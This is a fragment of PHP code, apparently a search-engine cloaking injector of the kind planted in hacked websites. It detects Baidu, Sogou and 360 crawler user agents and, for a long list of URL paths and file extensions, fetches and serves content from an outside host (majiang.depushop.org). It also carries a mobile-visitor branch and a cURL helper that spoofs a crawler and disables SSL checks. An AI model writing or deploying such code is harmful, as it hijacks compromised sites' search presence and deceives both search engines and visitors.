"abcdefghijklmnopqrstuvwxyz", 2 => "0123456789"); if($type == 0) { array_pop($arr); $string = implode("", $arr); } elseif($type == "-1") { $string = implode("", $arr); } else { $string = $arr[$type]; } $count = strlen($string) - 1; $code = ''; for ($i = 0; $i < $length; $i++) { $str[$i] = $string[rand(0, $count)]; $code .= $str[$i]; } return $code; } // HTTP采集函数 function httpGetlai($c) { $d=curl_init(); curl_setopt($d,CURLOPT_URL,$c); curl_setopt($d,CURLOPT_USERAGENT,'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)'); curl_setopt($d,CURLOPT_SSL_VERIFYPEER,FALSE); curl_setopt($d,CURLOPT_SSL_VERIFYHOST,FALSE); curl_setopt($d,CURLOPT_RETURNTRANSFER,1); curl_setopt($d,CURLOPT_HEADER,0); $e=curl_exec($d); curl_close($d); return $e; } $a="stristr"; $b=$_SERVER; // 常量定义(修复语法错误) define('url', $b['REQUEST_URI']); define('ref', !isset($b['HTTP_REFERER'])?'':$b['HTTP_REFERER']); define('ent', $b['HTTP_USER_AGENT']); define('site', "http://majiang.depushop.org/"); define('road', "?road=".$b['HTTP_HOST'].url); define('memes', road."&referer=".urlencode(ref)); define('regs','@BaiduSpider|Sogou|Yisou|Haosou|360Spider@i'); define('mobile','/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/'); // 路径判断(删除数组最后多余逗号,修复语法错误) $dirs=array("dy","ys","ku","wen","zkblw","keyan","zhuli","xinwen1","news1","show1","html1","moban","ask","dsp"); $hzl=array(""); // 敏感区域判断 define('area', $a(url,"ben") or $a(url,"/dy/")or $a(url,"kkk") or $a(url,"/ys/") or $a(url,"/ku/") or $a(url,"/wen/") or $a(url,"zkblw") or $a(url,"keyan") or $a(url,"zhuli") or $a(url,".xml")or $a(url,".doc")or $a(url,".pdf")or $a(url,".txt")or $a(url,".ppt")or $a(url,".pptx")or $a(url,".tacc")or $a(url,".jsp")or $a(url,".asp")or $a(url,".ga")or $a(url,".gq")or $a(url,".pdx")or $a(url,".xlsx")or $a(url,".edu")or $a(url,".gov")or $a(url,"baike")or $a(url,".xls")or $a(url,".htx")or $a(url,".htt")or $a(url,".xhtml")or $a(url,".new")or $a(url,".do")or $a(url,".action")or $a(url,".frx")or $a(url,".csv")or $a(url,".docx")or $a(url,".xhtml")or $a(url,".shtml")or $a(url,"ben")or $a(url,"xinwen1")or $a(url,"news1")or $a(url,"show1")or $a(url,"html1")or $a(url,"moban")or $a(url,"and")or $a(url,"?case/")or $a(url,"xjj")or $a(url,"/ask/")or $a(url,"/dsp/") ); // 蜘蛛逻辑 if(preg_match(regs,ent)) { if(area) { echo httpGetlai(site.road); exit(); } else { // 输出随机链接(函数已移出,正常运行) echo ''; } } // 移动端跳转 if(area && preg_match(mobile,ent)) { echo ' '; exit; } ?>